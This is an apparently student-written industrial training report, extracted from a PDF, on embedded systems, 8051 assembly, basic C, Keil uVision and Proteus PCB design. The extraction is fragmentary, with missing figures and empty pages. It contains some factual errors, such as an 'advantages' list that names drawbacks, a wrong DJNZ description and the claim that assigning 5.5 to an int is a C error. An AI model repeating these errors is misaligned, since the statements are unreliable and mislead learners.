Embedded Systems
Embedded Systems
Embedded Systems
1.0 INTRODUCTION
An embedded system is a combination of computer hardware and software designed for a specific function
or functions within a larger system. The systems can be programmable or with fixed functionality. Industrial
machines, consumer electronics, agricultural and process industry devices, automobiles, medical equipment,
cameras, household appliances, airplanes, vending machines and toys, as well as mobile devices, are
possible locations for an embedded system.
1.1 CHARACTERISTICS OF EMBEDDED SYSTEMS
The main characteristic of embedded systems is that they are task specific. They perform a single task within
a larger system. For example, a mobile phone is not an embedded system, it is a combination of embedded
systems that together allow it to perform a variety of general-purpose tasks. The embedded systems within it
perform specialized functions. For example, the GUI performs the singular function of allowing the user to
interface with the device. In short, they are programmable computers, but designed for specific purposes, not
general ones.
• embedded in a larger system to perform a specific function as they are built for specialized tasks within
the system, not various tasks;
• either microprocessor-based or microcontroller-based -- both are integrated circuits that give the system
compute power;
• often used for sensing and real-time computing in internet of things (IoT) devices -- devices that are
internet-connected and do not require a user to operate;
• vary in complexity and in function, which affects the type of software, firmware and hardware they use;
and
• often required to perform their function under a time constraint to keep the larger system functioning
properly.
MIST-DECE 1
INDUSTRIAL TRAINING REPORT
• Hardware. The hardware of embedded systems is based around microprocessors and microcontroller.
Microprocessors are very similar to microcontrollers, and generally refer to a CPU that is integrated with
other basic computing components such as memory chips and digital signal processors . Microcontrollers
have those components built into one chip.
• Software. Software for embedded systems can vary in complexity. However, industrial-grade
microcontrollers and embedded IoT systems generally run very simple software that requires little memory.
• Automobiles. Modern cars commonly consist of many computers (sometimes as many as 100), or
embedded systems, designed to perform different tasks within the vehicle. Some of these systems perform
basic utility function and others provide entertainment or user-facing functions. Some embedded systems in
MIST-DECE 2
INDUSTRIAL TRAINING REPORT
consumer vehicles include cruise control, backup sensors, suspension control, navigation systems and airbag
systems.
• Mobile phones. These consist of many embedded systems, including GUI software and hardware,
operating systems, cameras, microphones and USB I/O modules.
• Industrial machines. They can contain embedded systems, like sensors, and can be embedded systems
themselves. Industrial machines often have embedded automation systems that perform specific monitoring
and control functions.
• Medical equipment. These may contain embedded systems like sensors and control mechanisms.
Medical equipment, such as industrial machines, also must be very user-friendly, so that human health isn't
jeopardized by preventable machine mistakes. This means they'll often include a more complex OS and GUI
designed for an appropriate UI.
1.6 ADVANTAGES OF EMBEDDED SYSTEMS
• The embedded systems are hard for maintenance as it is use and throw device.
• It has no technological improvement.
• Less power supply durability if it is battery operated.
• It has hard to take backup of embedded files
MIST-DECE 3
INDUSTRIAL TRAINING REPORT
CHAPTER-2. MICROCONTROLLERS
RISC CISC
MIST-DECE 4
INDUSTRIAL TRAINING REPORT
Von-Neumann (Princeton
Harvard architecture
architecture)
It uses single memory space for both It has separate program memory and
instructions and data. data memory
MIST-DECE 5
INDUSTRIAL TRAINING REPORT
The program stored in the computer memory in the form of binary numbers is called machine instructions.
The machine language program is called object code.
An assembly language is a mnemonic representation of machine language. Machine language and assembly
language are low level languages and are processor specific.
The assembly language program the programmer enters is called source code. The source code (assembly
language) is translated to object code (machine language) using assembler.
Programs can be written in high level languages such as C, C++ etc. High level language will be converted
to machine language using compiler or interpreter. Compiler reads the entire program and translate into the
object code and then it is executed by the processor. Interpreter takes one statement of the high level
language as input and translate it into object code and then executes.
Introduction
MIST-DECE 6
INDUSTRIAL TRAINING REPORT
8051 has 4 K Bytes of internal ROM. The address space is from 0000 to 0FFFh. If the program size is more
than 4 K Bytes 8051 will fetch the code automatically from external memory.
Accumulator is an 8 bit register widely used for all arithmetic and logical operations. Accumulator is also
used to transfer data between external memory. B register is used along with Accumulator for multiplication
and division. A and B registers together is also called MATH registers.
PSW (Program Status Word). This is an 8 bit register which contains the arithmetic status of ALU and the
bank select bits of register banks.
CY - carry flag
AC - auxiliary carry flag
MIST-DECE 7
INDUSTRIAL TRAINING REPORT
PINOUT DESCRIPTION
MIST-DECE 8
INDUSTRIAL TRAINING REPORT
MIST-DECE 9
INDUSTRIAL TRAINING REPORT
after that, the ALE pin is returned its previous logic state
and P0 is now used as a Data Bus.
Pin 31 EA. By applying logic zero to this pin, P2 and P3 are used
for data and address transmission with no regard to
whether there is internal memory or not. It means that
even there is a program written to the microcontroller, it
will not be executed. Instead, the program written to
external ROM will be executed. By applying logic one to
the EA pin, the microcontroller will use both memories,
first internal then external (if exists).
Bit Addressable RAM: 20h to 2Fh. The 8051 supports a special feature which allows access to bit variables.
This is where individual memory bits in Internal RAM can be set or cleared. In all there are 128 bits
numbered 00h to 7Fh. Being bit variables any one variable can have a value 0 or 1. A bit variable can be set
with a command such as SETB and cleared with a command such as CLR.
Example instructions are:
SETB 25h; sets the bit 25h (becomes 1)
CLR 25h; clears bit 25h (becomes 0)
Note, bit 25h is actually bit 5 of Internal RAM location 24h.
The Bit Addressable area of the RAM is just 16 bytes of Internal RAM located between 20h and 2Fh.
MIST-DECE 10
INDUSTRIAL TRAINING REPORT
General Purpose RAM: 30h to 7Fh. Even if 80 bytes of Internal RAM memory are available for general-
purpose data storage, user should take care while using the memory location from 00 -2Fh since these
locations are also the default register space, stack space, and bit addressable space. It is a good practice to
use general purpose memory from 30 – 7Fh. The general purpose RAM can be accessed using direct or
indirect addressing modes.
2.9 STACK
A stack is a last in first out memory. In 8051 internal RAM space can be used as stack. The address of the
stack is contained in a register called stack pointer. Instructions PUSH and POP are used for stack
operations.
MIST-DECE 11
INDUSTRIAL TRAINING REPORT
LABEL: (THIS IS NOT NECESSARY UNLESS THAT SPECIFIC LINE HAS TO BE ADDRESSED).
The label is a symbolic address for the instruction. When the program is assembled, the label will be given
specific address in which that instruction is stored. Unless that specific line of instruction is needed by a
branching instruction in the program, it is not necessary to label that line.
OPCODE: Opcode is the symbolic representation of the operation. The assembler converts the opcode to a
unique binary code (machine language).
OPERAND: While opcode specifies what operation to perform, operand specifies where to perform that
action. The operand field generally contains the source and destination of the data. In some cases only source
or destination will be available instead of both. The operand will be either address of the data, or data itself.
COMMENT: Always comment will begin with ; or // symbol. To improve the program quality, programmer
may always use comments in the program.
• Immediate addressing.
• Register addressing.
• Direct addressing.
• Indirect addressing.
• Relative addressing.
• Absolute addressing.
• Long addressing.
• Indexed addressing.
• Bit inherent addressing.
• Bit direct addressing.
Immediate addressing.
MIST-DECE 12
INDUSTRIAL TRAINING REPORT
In this addressing mode the data is provided as a part of instruction itself. In other words data immediately
follows the instruction.
Eg. MOV A,#30H
ADD A, #83 # Symbol indicates the data is immediate.
Register addressing.
In this addressing mode the register will hold the data. One of the eight general registers (R0 to R7) can be
used and specified as the operand.
Eg. MOV A,R0
ADD A,R6
R0 – R7 will be selected from the current selection of register bank. The default register bank will be bank 0.
Direct addressing
There are two ways to access the internal memory. Using direct address and indirect address. Using direct
addressing mode we can not only address the internal memory but SFRs also. In direct addressing, an 8 bit
internal data memory address is specified as part of the instruction and hence, it can specify the address only
in the range of 00H to FFH. In this addressing mode, data is obtained directly from the memory.
Eg. MOV A,60h
ADD A,30h
Indirect addressing
The indirect addressing mode uses a register to hold the actual address that will be used in data movement.
Registers R0 and R1 and DPTR are the only registers that can be used as data pointers. Indirect addressing
cannot be used to refer to SFR registers. Both R0 and R1 can hold 8 bit address and DPTR can hold 16 bit
address.
Eg. MOV A,@R0
ADD A,@R1 MOVX A,@DPTR
Indexed addressing.
In indexed addressing, either the program counter (PC), or the data pointer (DTPR)—is used to hold the base
address, and the A is used to hold the offset address. Adding the value of the base address to the value of the
offset address forms the effective address. Indexed addressing is used with JMP or MOVC instructions.
Look up tables are easily implemented with the help of index addressing.
MOVC A, @A+DPTR // copies the contents of memory location pointed by the sum of the
accumulator A and the DPTR into accumulator A.
MOVC A, @A+PC // copies the contents of memory location pointed by the sum of the accumulator A
and the program counter into accumulator A.
MIST-DECE 13
INDUSTRIAL TRAINING REPORT
Relative Addressing.
Relative addressing is used only with conditional jump instructions. The relative address, (offset), is an 8 bit
signed number, which is automatically added to the PC to make the address of the next instruction. The 8 bit
signed offset value gives an address range of +127 to —128 locations. The jump destination is usually
specified using a label and the assembler calculates the jump offset accordingly. The advantage of relative
addressing is that the program code is easy to relocate and the address is relative to position in the memory.
Eg. SJMP LOOP1
JC BACK
Absolute addressing
Absolute addressing is used only by the AJMP (Absolute Jump) and ACALL (Absolute Call) instructions.
These are 2 bytes instructions. The absolute addressing mode specifies the lowest 11 bit of the memory
address as part of the instruction. The upper 5 bit of the destination address are the upper 5 bit of the current
program counter. Hence, absolute addressing allows branching only within the current 2 Kbyte page of the
program memory.
Eg. AJMP LOOP1
ACALL LOOP2
Long Addressing
The long addressing mode is used with the instructions LJMP and LCALL. These are 3 byte instructions.
The address specifies a full 16 bit destination address so that a jump or a call can be made to a location
within a 64 Kbyte code memory space.
Eg. LJMP FINISH
LCALL DELAY
MIST-DECE 14
INDUSTRIAL TRAINING REPORT
Eg. CLR 07h ; Clears the bit 7 of 20h RAM space SETB 07H ; Sets the bit 7 of
20H RAM space.
8051 Instructions
The instructions of 8051 can be broadly classified under the following headings.
• Data transfer instructions
• Arithmetic instructions
• Logical instructions
• Branch instructions
• Subroutine instructions
• Bit manipulation instructions
MIST-DECE 15
INDUSTRIAL TRAINING REPORT
MOV R1,A
• Move the contents of a memory location to A or A to a memory location using direct and indirect
addressing
MOV A, 65H MOV 45H, A
MOV A, @R0 MOV @R1, A
• Move the contents of a memory location to Rn or Rn to a memory location using direct addressing
MOV R3, 65H ii. MOV 45H, R2
• Move the contents of memory location to another memory location using direct and indirect
addressing
MOV 47H, 65H
MOV 45H, @R0
MIST-DECE 16
INDUSTRIAL TRAINING REPORT
Exchange digit. Exchange the lower order nibble of Accumulator (A0-A3) with lower order nibble of the
internal RAM location which is indirectly addressed by the register. i. XCHD A,@R1 ii. XCHD A,@R0
Arithmetic instructions.
The 8051 can perform addition, subtraction. Multiplication and division operations on 8 bit numbers.
Addition
In this group, we have instructions to
• Add the contents of A with immediate data with or without carry.
• ADD A, #45H
• ADDC A, #OB4H
• Add the contents of A with register Rn with or without carry.
• ADD A, R5
• ADDC A, R2
• Add the contents of A with contents of memory with or without carry using direct and indirect
addressing
MIST-DECE 17
INDUSTRIAL TRAINING REPORT
• ADDC A, 75H
• ADD A, @R1
• ADDC A, @R0
Subtraction
In this group, we have instructions to
• Subtract the contents of A with immediate data with or without carry.
i. SUBB A, #45H
ii. SUBB A, #OB4H
• Subtract the contents of A with register Rn with or without carry.
i. SUBB A, R5 ii. SUBB A, R2
• Subtract the contents of A with contents of memory with or without carry using direct and indirect
addressing
i. SUBB A, 51H ii. SUBB A, 75H
iii. SUBB A, @R1 iv. SUBB A, @R0
Multiplication
MUL AB. This instruction multiplies two 8 bit unsigned numbers which are stored in A and B register.
After multiplication the lower byte of the result will be stored in accumulator and higher byte of result will
be stored in B register.
Division
DIV AB. This instruction divides the 8 bit unsigned number which is stored in A by the 8 bit unsigned
number which is stored in B register. After division the result will be stored in accumulator and remainder
will be stored in B register.
MIST-DECE 18
INDUSTRIAL TRAINING REPORT
INC increments the value of source by 1. If the initial value of register is FFh, incrementing the value will
cause it to reset to 0. The Carry Flag is not set when the value "rolls over" from 255 to 0.
In the case of "INC DPTR", the value two-byte unsigned integer value of DPTR is incremented. If the initial
value of DPTR is FFFFh, incrementing the value will cause it to reset to 0.
Logical AND
ANL destination, source: ANL does a bitwise “AND” operation between source and destination, leaving the
resulting value in destination. The value in source is not affected. “AND” instruction logically AND the bits
of source and destination.
Logical OR
ORL destination, source: ORL does a bitwise “OR” operation between source and destination,
leaving the resulting value in destination. The value in source is not affected. “ OR “ instruction logically
OR the bits of source and destination.
Logical Ex-OR
XRL destination, source: XRL does a bitwise “EX-OR” operation between source and destination,
leaving the resulting value in destination. The value in source is not affected. “ XRL “ instruction logically
EX-OR the bits of source and destination.
Logical NOT
CPL complements operand, leaving the result in operand. If operand is a single bit then the state of the bit
will be reversed. If operand is the Accumulator then all the bits in the Accumulator will be reversed.
CPL A, CPL C, CPL bit address
SWAP A – Swap the upper nibble and lower nibble of A.
MIST-DECE 19
INDUSTRIAL TRAINING REPORT
ROTATE INSTRUCTIONS
RR A
This instruction is rotate right the accumulator. Its operation is illustrated below. Each bit is shifted one
location to the right, with bit 0 going to bit 7.
Fig no 3.1
RL A
Rotate left the accumulator. Each bit is shifted one location to the left, with bit 7 going to bit 0
Fig no 3.2
RRC A
Rotate right through the carry. Each bit is shifted one location to the right, with bit 0 going into the carry bit
in the PSW, while the carry was at goes into bit 7
Fig no 3.3
RLC A
Rotate left through the carry. Each bit is shifted one location to the left, with bit 7 going into the carry bit in
the PSW, while the carry goes into bit 0.
Fig no 3.4
3.5 BRANCH (JUMP) INSTRUCTIONS
Jump and Call Program Range
There are 3 types of jump instructions. They are
• Relative Jump
• Short Absolute Jump
• Long Absolute Jump
MIST-DECE 20
INDUSTRIAL TRAINING REPORT
Relative Jump
Jump that replaces the PC (program counter) content with a new address that is greater than (the address
following the jump instruction by 127 or less) or less than (the address following the jump by 128 or less) is
called a relative jump. Schematically, the relative jump can be shown as follows:
MIST-DECE 21
INDUSTRIAL TRAINING REPORT
In 8051, 64 kbyte of program memory space is divided into 32 pages of 2 kbyte each. The hexadecimal
addresses of the pages are given as follows:-
It can be seen that the upper 5bits of the program counter (PC) hold the page number and the lower 11bits of
the PC hold the address within that page. Thus, an absolute address is formed by taking page numbers of the
instruction (from the program counter) following the jump and attaching the specified 11bits to it to form the
16-bit address.
Advantage: The instruction length becomes 2 bytes.
Example of short absolute jump: -
ACALL <address 11>
AJMP <address 11>
MIST-DECE 22
INDUSTRIAL TRAINING REPORT
JB Jump if bit = 1
JNC Jump if CY = 0
JC Jump if CY = 1
CJNE reg,#data Jump if byte ≠ #data
CJNE A,byte Jump if A ≠ byte
DJNZ Decrement and Jump if A ≠ 0
JNZ Jump if A ≠ 0
JZ Jump if A = 0
MIST-DECE 23
INDUSTRIAL TRAINING REPORT
• [PC]= address (16 bit); the new address of subroutine is loaded to PC. No flags are affected.
• RET instruction
RET instruction pops top two contents from the stack and load it to PC.
• [PC15-8] = [[SP]] ;content of current top of the stack will be moved to higher byte of PC. h.
[SP]=[SP]-1; (SP decrements)
• [PC7-0] = [[SP]] ;content of bottom of the stack will be moved to lower byte of PC.
• [SP]=[SP]-1; (SP decrements again)
8051 has 128 bit addressable memory. Bit addressable SFRs and bit addressable PORT pins. It is possible to
perform following bit wise operations for these bit addressable locations.
• LOGICAL AND
• ANL C, /BIT;
• LOGICAL OR
MIST-DECE 24
INDUSTRIAL TRAINING REPORT
• CLR bit
• CLR bit .
• CLR C
• CPL bit
• CPL bit .
• CPL C
• COMPLEMENTED.
•
• Write a program to store data FFH into RAM memory locations 50H to 58H using direct addressing
mode
MIST-DECE 25
INDUSTRIAL TRAINING REPORT
ISR will always ends with RETI instruction. The execution of RETI instruction results in the following.
MIST-DECE 26
INDUSTRIAL TRAINING REPORT
MIST-DECE 27
INDUSTRIAL TRAINING REPORT
CHAPTER-4.C-LANGUAGE
4.0 INTRODUCTION
The C Language is developed by Dennis Ritchie for creating system applications that directly interact with
the hardware devices such as drivers, kernels, etc.
C programming is considered as the base for other programming languages, that is why it is known as
mother language
#include <stdio.h>
int main() {
printf("Hello C Programming\n");
return 0;
}
Features of C Language
C features
C is the widely used language. It provides many features that are given below
MIST-DECE 28
INDUSTRIAL TRAINING REPORT
MIST-DECE 29
INDUSTRIAL TRAINING REPORT
In C programming, data types are declarations for variables. This determines the type and size of data
associated with variables. For example,
int myVar;
Here, myVar is a variable of int (integer) type. The size of int is 4 bytes.
MIST-DECE 30
INDUSTRIAL TRAINING REPORT
MIST-DECE 31
INDUSTRIAL TRAINING REPORT
char
Keyword char is used for declaring character type variables. For example,
char test = 'h';
The size of the character variable is 1 byte.
void
void is an incomplete type. It means "nothing" or "no type". You can think of void as absent.
For example, if a function is not returning anything, its return type should be void.
Note that, you cannot create variables of void type.
You can always check the size of a variable using the sizeof() operator.
#include <stdio.h>
int main() {
short a;
long b;
long long c;
long double d;
printf("size of short = %d bytes\n", sizeof(a));
printf("size of long = %d bytes\n", sizeof(b));
printf("size of long long = %d bytes\n", sizeof(c));
printf("size of long double= %d bytes\n", sizeof(d));
return 0;
}
signed and unsigned
In C, signed and unsigned are type modifiers. You can alter the data storage of a data type by using them.
For example,
MIST-DECE 32
INDUSTRIAL TRAINING REPORT
unsigned int x;
int y;
Here, the variable x can hold only zero and positive values because we have used the unsigned modifier.
Considering the size of int is 4 bytes, variable y can hold values from -231 to 231,whereas variable x can
hold values from 0 to 232-1.
Constants
If you want to define a variable whose value cannot be changed, you can use the const keyword. This will
create a constant. For example,
const double PI = 3.14;
Notice, we have added keyword const.
Here, PI is a symbolic constant; its value cannot be changed.
const double PI = 3.14;
PI = 2.9; //Error
Variables
In programming, a variable is a container (storage area) to hold data.
To indicate the storage area, each variable should be given a unique name (identifier). Variable names are
just the symbolic representation of a memory location. For example:
int playerScore = 95;
Here, playerScore is a variable of int type. Here, the variable is assigned an integer value 95.
Note: You should always try to give meaningful names to variables. For example: firstName is a better
variable name than fn.
C is a strongly typed language. This means that the variable type cannot be changed once it is declared. For
example:
int number = 5; // integer variable
number = 5.5; // error
MIST-DECE 33
INDUSTRIAL TRAINING REPORT
4.3 C-OUTPUT
In C programming, printf() is one of the main output function. The function sends formatted output to the
screen. For example,
Example 1: C Output
#include <stdio.h>
int main()
{
// Displays the string inside quotations
printf("C Programming");
return 0;
}
Output
C Programming
How does this program work?
All valid C programs must contain the main() function. The code execution begins from the start of the
main() function.
The printf() is a library function to send formatted output to the screen. The function prints the string inside
quotations.
To use printf() in our program, we need to include stdio.h header file using the #include <stdio.h> statement.
The return 0; statement inside the main() function is the "Exit status" of the program. It's optional.
Example 2: Integer Output
#include <stdio.h>
int main()
{
int testInteger = 5;
printf("Number = %d", testInteger);
return 0;
MIST-DECE 34
INDUSTRIAL TRAINING REPORT
}
Output
Number = 5
We use %d format specifier to print int types. Here, the %d inside the quotations will be replaced by the
value of testInteger.
Example 3: float and double Output
#include <stdio.h>
int main()
{
float number1 = 13.5;
double number2 = 12.4;
4.4 C INPUT
MIST-DECE 35
INDUSTRIAL TRAINING REPORT
In C programming, scanf() is one of the commonly used function to take input from the user. The scanf()
function reads formatted input from the standard input such as keyboards.
Example 5: Integer Input/Output
#include <stdio.h>
int main()
{
int testInteger;
printf("Enter an integer: ");
scanf("%d", &testInteger);
printf("Number = %d",testInteger);
return 0;
}
Output
Enter an integer: 4
Number = 4
Here, we have used %d format specifier inside the scanf() function to take int input from the user. When the
user enters an integer, it is stored in the testInteger variable.
Notice, that we have used &testInteger inside scanf(). It is because &testInteger gets the address of
testInteger, and the value entered by the user is stored in that address.
Example 6: Float and Double Input/Output
#include <stdio.h>
int main()
{
float num1;
double num2;
printf("Enter a number: ");
scanf("%f", &num1);
printf("Enter another number: ");
scanf("%lf", &num2);
printf("num1 = %f\n", num1);
printf("num2 = %lf", num2);
return 0;
}
Output
Enter a number: 12.523
MIST-DECE 36
INDUSTRIAL TRAINING REPORT
MIST-DECE 37
INDUSTRIAL TRAINING REPORT
Enter a character: g
You entered g.
ASCII value is 103.
I/O Multiple Values
Here's how you can take multiple inputs from the user and display them.
#include <stdio.h>
int main()
{
int a;
float b;
printf("Enter integer and then a float: ");
// Taking multiple inputs
scanf("%d%f", &a, &b);
printf("You entered %d and %f", a, b);
return 0;
}
Output
Enter integer and then a float: -3
3.4
You entered -3 and 3.400000
Format Specifiers for I/O
As you can see from the above examples, we use
%d for int
%f for float
%lf for double
%c for char
Here's a list of commonly used C data types and their format specifiers.
Data Type Format Specifier
int %d
char %c
float %f
double %lf
short int %hd
unsigned int %u
long int %li
MIST-DECE 38
INDUSTRIAL TRAINING REPORT
C if Statement
The syntax of the if statement in C programming is:
if (test expression)
{
// statements to be executed if the test expression is true
}
How if statement works?
• The if statement evaluates the test expression inside the parenthesis ().
• If the test expression is evaluated to true, statements inside the body of if are executed.
• If the test expression is evaluated to false, statements inside the body of if are not executed
C if...else Statement
The if statement may have an optional else block. The syntax of the if..else statement is:
if (test expression) {
// statements to be executed if the test expression is true
}
else {
// statements to be executed if the test expression is false
}
MIST-DECE 39
INDUSTRIAL TRAINING REPORT
while loop
The syntax of the while loop is:
while (testExpression)
{
// statements inside the body of the loop
}
How while loop works?
• The while loop evaluates the test expression inside the parenthesis ().
• If the test expression is true, statements inside the body of while loop are executed. Then, the test
expression is evaluated again.
• The process goes on until the test expression is evaluated to false.
MIST-DECE 40
INDUSTRIAL TRAINING REPORT
MIST-DECE 41
INDUSTRIAL TRAINING REPORT
while(number != 0.0);
printf("Sum = %.2lf",sum);
return 0;
}
Output
Enter a number: 1.5
Enter a number: 2.4
Enter a number: -3.4
MIST-DECE 42
INDUSTRIAL TRAINING REPORT
MIST-DECE 43
INDUSTRIAL TRAINING REPORT
MIST-DECE 44
INDUSTRIAL TRAINING REPORT
C continue
The continue statement skips the current iteration of the loop and continues with the next iteration. Its syntax
is:
continue;
The continue statement is almost always used with the if...else statement.
How continue statement works?
Working of continue statement in C programming
Example 2: continue statement
// Program to calculate the sum of numbers (10 numbers max)
// If the user enters a negative number, it's not added to the result
#include <stdio.h>
MIST-DECE 45
INDUSTRIAL TRAINING REPORT
Output
Enter a n1: 1.1
Enter a n2: 2.2
Enter a n3: 5.5
Enter a n4: 4.4
Enter a n5: -3.4
Enter a n6: -45.5
Enter a n7: 34.5
Enter a n8: -4.2
Enter a n9: -1000
Enter a n10: 12
Sum = 59.7
C Functions
In c, we can divide a large program into the basic building blocks known as function. The function contains
the set of programming statements enclosed by {}. A function can be called multiple times to provide
reusability and modularity to the C program. In other words, we can say that the collection of functions
creates a program. The function is also known as procedureor subroutinein other programming languages.
Advantage of functions in C
• There are the following advantages of C functions.
• By using functions, we can avoid rewriting same logic/code again and again in a program.
• We can call C functions any number of times in a program and from any place in a program.
• We can track a large C program easily when it is divided into multiple functions.
• Reusability is the main achievement of C functions.
• However, Function calling is always a overhead in a C program.
Types of Functions
There are two types of functions in C programming:
Library Functions: are the functions which are declared in the C header files such as scanf(), printf(), gets(),
puts(), ceil(), floor() etc.
User-defined functions: are the functions which are created by the C programmer, so that he/she can use it
many times. It reduces the complexity of a big program and optimizes the code.
MIST-DECE 46
INDUSTRIAL TRAINING REPORT
MIST-DECE 47
INDUSTRIAL TRAINING REPORT
• Debugging program.
• This is simple guide on Keil uVision 4 though also applicable on previous versions also.
• Step 1: After opening Keil uV4, Go to Project tab and Create new uVision project.
• Now Select new folder and give name to Project.
• Step 2: After Creating project now Select your device model. Example. Atmel
MIST-DECE 48
INDUSTRIAL TRAINING REPORT
• Step 3: so now your project is created and Message window will appear to add startup file of
• Step 4: Now go to File and create new file and save it with .C extension if you will write
MIST-DECE 49
INDUSTRIAL TRAINING REPORT
• Step 5: Now write your program and save it again. You can try example given at end of this
tutorial.
• Step 6: After that on left you see project window [if it’s not there go to View tab and click on
project window].
• Now come on Project window.
MIST-DECE 50
INDUSTRIAL TRAINING REPORT
• Step 7: Now Expand target and you will see source group.
MIST-DECE 51
INDUSTRIAL TRAINING REPORT
• Now add your program file which you have written in C/assembly.
MIST-DECE 52
INDUSTRIAL TRAINING REPORT
• Now you are done with your program. Next time we will look at Debugging and Simulation
of Program.
MIST-DECE 53
INDUSTRIAL TRAINING REPORT
• With the use of this engineering software, you can construct and simulate different electrical and
electronic circuits on your personal computers or laptops.
• There are numerous benefits to simulate circuits on proteus before make them practically.
• Designing of circuits on the proteus takes less time than practical construction of the circuit.
• The possibility of error is less in software simulation such as loose connection that takes a lot of time
to find out connections problems in a practical circuit.
• Circuit simulations provide the main feature that some components of circuits are not practical then
you can construct your circuit on proteus.
• There is zero possibility of burning and damaging of any electronic component in proteus.
• The electronic tools that are very expensive can easily get in proteus such as an oscilloscope.
• Using proteus you can find different parents of circuits such as current, a voltage value of any
component and resistance at any instant which is very difficult in a practical circuit.
MIST-DECE 54
INDUSTRIAL TRAINING REPORT
• There are 2 main parts of proteus first is used to design and draw different circuits and the second is
for designing of PCB layout.
• First is ISIS that used to design and simulate circuits. And second is ARES that used for designing of
a printed circuit board.
• When you will click on the Icon of installed Proteus in your computer then you will see this window
from a new file option.
• In the above figure, you can see the proteus window and this window has many sections that are explained in
the below .
• In the above figure, you can see that the dotted portion is called an editing window. This is a drawing
portion of proteus where you simulate your engineering circuits and projects.
• In the overview window, you see the complete view of your complete design.
• This section has 2 buttons P and E. P is used to select different components and shown in this box. The
E button is for edit something for example you want to vary any value of components than you can use this
edit button.
• By using this option you can easily zoom in and zoom out your layout and can observe complete
simulation very clearly
MIST-DECE 55
INDUSTRIAL TRAINING REPORT
• By using this option you can select different devices like voltmeter, ammeter, oscilloscope, etc.
• At the left bottom there are 4 buttons Run, stop, pause and stop. These buttons are like the remote
control and on and off your circuit.
Step 2: After that, you will see the drawing sheet as shown in the below figure. Save it according to your
project.
MIST-DECE 56
INDUSTRIAL TRAINING REPORT
Step 3: After a move to the component option as shown in the below figure and select the elements for your
projects.
.
Fig no.6.3 :Selection of component mode
Step 4: After clicking on components mode you will see two buttons P and L. If you move to P button you will see Pic
from Libraries. It is used to select different components for circuit construction.
Step 5: When you will click on the P button you will see box shown in the below figure. Type your component
for a circuit. As I type button and you can see a button in right figure that different buttons are shown you can
select according to your use.
MIST-DECE 57
INDUSTRIAL TRAINING REPORT
Step 6:When you will select components for your project you will see them in a box shown in the below
figure.I have also selected some components for designing of a simple circuit.
MIST-DECE 58
INDUSTRIAL TRAINING REPORT
After the selection of components make the circuit layout of your project and connect all these components
with the wires.
• For connection of one component to other clicks left of first one terminal of component and drag it to
other components.
• If you want to remove any component or remove its connection just double click on respective of a
component
• If you want to change the values of any component such as resistance, capacitor, then click right on
that component and select the desired value and click OK button.
MIST-DECE 59
INDUSTRIAL TRAINING REPORT
Step 7: When you connect all components in the circuit like run button in left bottom see the practical working
of your circuit.
Step 8: When you will observe the simulation of your circuit than click on stop button on the left bottom to
stop the working of the circuit.
MIST-DECE 60
INDUSTRIAL TRAINING REPORT
Now we are going to design a PCB layout for the above circuit. Proteus has the integrated ARES PCB
designing suit. By using this we can easily develop the PCB layout. After simulation save the circuit
designing and click on tools then select netlist to ARES. Then a window will open with list of component
packages. That is shown in below image.
Then next step is creating a board edge by selecting 2D graphics box mode. Next click on the select layer at
bottom left corner and select the board edge option. The image is shown in below figure.
MIST-DECE 61
INDUSTRIAL TRAINING REPORT
Then next click on work space then a green line will appear. With that draw a box and click again once.
Then the box is fixed and turn into yellow color layout. This box is same like in above ISIS professional blue
line. The circuit should be inside of the yellow box. If the circuit is more complex and big in size, the there is
a chance to expand the box by clicking on the select mode. Then next click on the component name and
change the angle of the component by using rotation arrow options if required. Then place the component on
the work space. After adding the all components to the work space, arrange the position of the components
properly in the workspace. To move component one place to another place click on selection mode and click
on component then it change color with white and hold the component and moved to required place within
the yellow box. After placing the all components in correct position, next thing is tracking. Tracking means
establishing the connection between the components with copper layer. First select the track mode by
clicking the track mode button, and change the track width by clicking ‘C’ create or ‘E’ edit buttons shown
in the below image. When we click the button C or E immediately a window will open. Select the width of
the track from given list. It is better to select between 25, 40.
Electronic hobbyists made their required PCB’s at their home or lab. At that time track width in case less
than 25, there is a chance of occur cuts in tracks. The less width is useful in computer based PCB layering.
So hobbyists are making their PCB’s their own. So the width should be greater than 25. My suggestion is the
width should be 35.
MIST-DECE 62
INDUSTRIAL TRAINING REPORT
Then next thing is create tracks between components. Connection representation in green line and yellow
line shows the direction. After setting the track width click at the component one end with pen and follow
the green line. When two components are successfully connected then green line will removed
automatically.
Another main thing is there are several PCB’s are available. Those are single layer PCB, duel layer PCB,
multi layer PCB. In single layer PCB components are placed at one side and connections (tracking) done in
another side. Coming to duel layer PCB, tracking is done in two sides and components are placed in two
sides also. In this type mostly SMD components are used. Next finally multi layered PCB’s, in these many
layers are used. In this two are top and bottom layers and remaining all are inner layers. In Proteus we can
design up to 16 layers PCB. One is top layer, another one is bottom layer and remaining all are inner layers.
The layer selection in Proteus is at left down corner. Each layer will represent in different color. For example
bottom layer represented in blue color, top layer represented in red and inner layers are represented in
different colors. The image shown in below figure.
In the above image, it shows that track is placed between R1-2 pin and RV1-1pin. Another thing is placing
the track from 6th pin to 3rd pin. The direction is indicating in white arrow mark. Connection is indicating in
green line and blue line indicates the track. If any contact errors occurred
while tracking, those are represented in red circles and the image shown
in below figure.
In the above image red color represented circles are errors occurred while tracking. To avoid such errors
change the track path. Like this arrange the tracks between the all pins without errors. If you are planning for
MIST-DECE 63
INDUSTRIAL TRAINING REPORT
duel layer PCB, there is short cut for changing the track layers from one layer to another that is press the
mouse left button two times immediately turned into another layer. In above image there is an orange circle.
That represents the ‘via’ means placing connection between one layer to another layer. There is an advantage
in Proteus. That is auto-router. This is special tool to arrange tracks automatically without errors. But this
tool creates duel layer PCB. When we select this tool, automatically shape based auto router window will
open. This window having the execution mode, design rules and grid width changing options. By changing
all options according to our requirement and click the button begin routing automatically routing will start.
In above second image red tracks indicate top copper and blue tracks indicate bottom tracks. This is duel
layer PCB designing. If we want single layer PCB, we can place tracks out own. The given below image
shows the single layer PCB design of our required circuit. After completion of tracking save the project in
same folder where the above Proteus project saved. In Proteus we have one other tool that how the circuit is
been looking like after completion.
MIST-DECE 64
INDUSTRIAL TRAINING REPORT
To see the final circuit, click on output in menu bar and then select 3D visualization. Then the circuit
visualization will open in other window. It is having the features of all angles visualization, components less
board view and back layer view. That is shown in below figure.
Next this is the final step of PCB layer designing, which is layout printing. Taking
prints of board layer is the final step. So to take print of the circuit layout, click on
output in menu bar and click on print. Then print layout setup window will open.
MIST-DECE 65
INDUSTRIAL TRAINING REPORT
Step 2: Print Out the Design Onto the Shiny Side of the Transfer Paper.
MIST-DECE 66
INDUSTRIAL TRAINING REPORT
MIST-DECE 67
INDUSTRIAL TRAINING REPORT
